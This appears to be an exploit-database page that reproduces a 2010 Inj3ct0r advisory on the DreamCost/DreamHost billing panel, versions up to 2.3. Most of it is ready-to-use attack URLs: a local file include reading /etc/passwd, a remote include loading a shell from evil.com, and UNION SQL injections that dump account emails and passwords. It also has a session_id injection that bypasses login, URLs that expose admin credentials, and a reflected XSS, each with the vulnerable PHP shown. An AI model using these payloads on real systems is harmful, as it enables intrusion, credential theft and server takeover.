Lucene search
K

DreamHost_<=_&&_>_2.3_global_Inj3ct0r/Xss/Local_inc_Multiple_Exploit

🗓️ 21 Mar 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

DreamHost_<=_&&_>_2.3_global_Inj3ct0r/Xss/Local_inc_Multiple_Exploit. Review of DreamHost Billing Panel, DreamCost.com, with vulnerabilities including Local & Remote Include, Sql Inj3ct0r, Admin Login, SQL-Inj3ct0r entry, and Xss exploits

Code

                                                #[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com
#[+] visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net

Decided to make a review to DreamHost - Billing Panel
Site product: dreamcost.com
Version: <= && > 2.3

----------------------------------------------------------------

Local Include Exploit:

/members.php?page=/../../../../../../../../../../etc/passwd%00


Vulnerable code:

 // member_template.html 
<? 
include("member_$page.html");  
?> 

-----------------------------------------------------------------

Remote Include Exploit:

/admin/?page=http://evil.com/shell.php?

Vulnerable code:

 // /admin/template.html 
include("$page$page_ext"); 

------------------------------------------------------------------

Sql Inj3ct0r Exploit:


members.php?page=orders_view&order_id=-1'+UNION+SELECT+concat_ws(0x3,account_email,accoun t_password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28+FROM+account+WH ERE+account_id=1%20--%20&session_id=you session_id

and

members.php?page=orders_view&order_id=-1'+UNION+SELECT+concat_ws(0x3,account_email,accoun t_password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28+FROM+account+WH ERE+account_id=1%20--%20&session_id=-1'+OR+login_logged=0x59%20--%20

Vulnerable code:

 // member_orders_view.html 
$db = new ps_DB; 
    $q  = "SELECT * FROM orders WHERE order_id='$order_id' AND order_account_id='$account_id' ORDER BY order_id"; 

-------------------------------------------------------------

Admin Login: members.php?Page=static&content=login
Admin Password: members.php?Page=static&content=password
Path: members.php?Page=static&content=path

Vulnerable code:

 // member_static.thml 
 <?  echo setup($content);?> 

// functions.php 
function setup($field) { 
        $db = new ps_DB; 
        $q = "SELECT setup_$field FROM setup WHERE setup_id='1'"; 
        $db->query($q); 
        $db->next_record(); 
         
        $ret = $db->f("setup_$field"); 
      return $ret; 
} 
    $db->query($q); 

-------------------------------------------------------------

SQL-Inj3ct0r entry under randomly Account

members.php?page=account&session_id=-1'+OR+login_logged=0x59%20-%20

Vulnerable code:


// member_account.html 
$pass = is_logged($session_id); 

// functions.php 
function is_logged($session_id) { 
        $db = new ps_DB; 
        $q = "SELECT * FROM login WHERE login_id = '$session_id'"; 
        $db->query($q); 
        $db->next_record(); 
        $ret = $db->f("login_logged"); 
return $ret; 
} 

--------------------------------------------------------------

Xss Exploit:

/members.php?page=static&content=<script>alert('inj3ct0r.com')</script>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation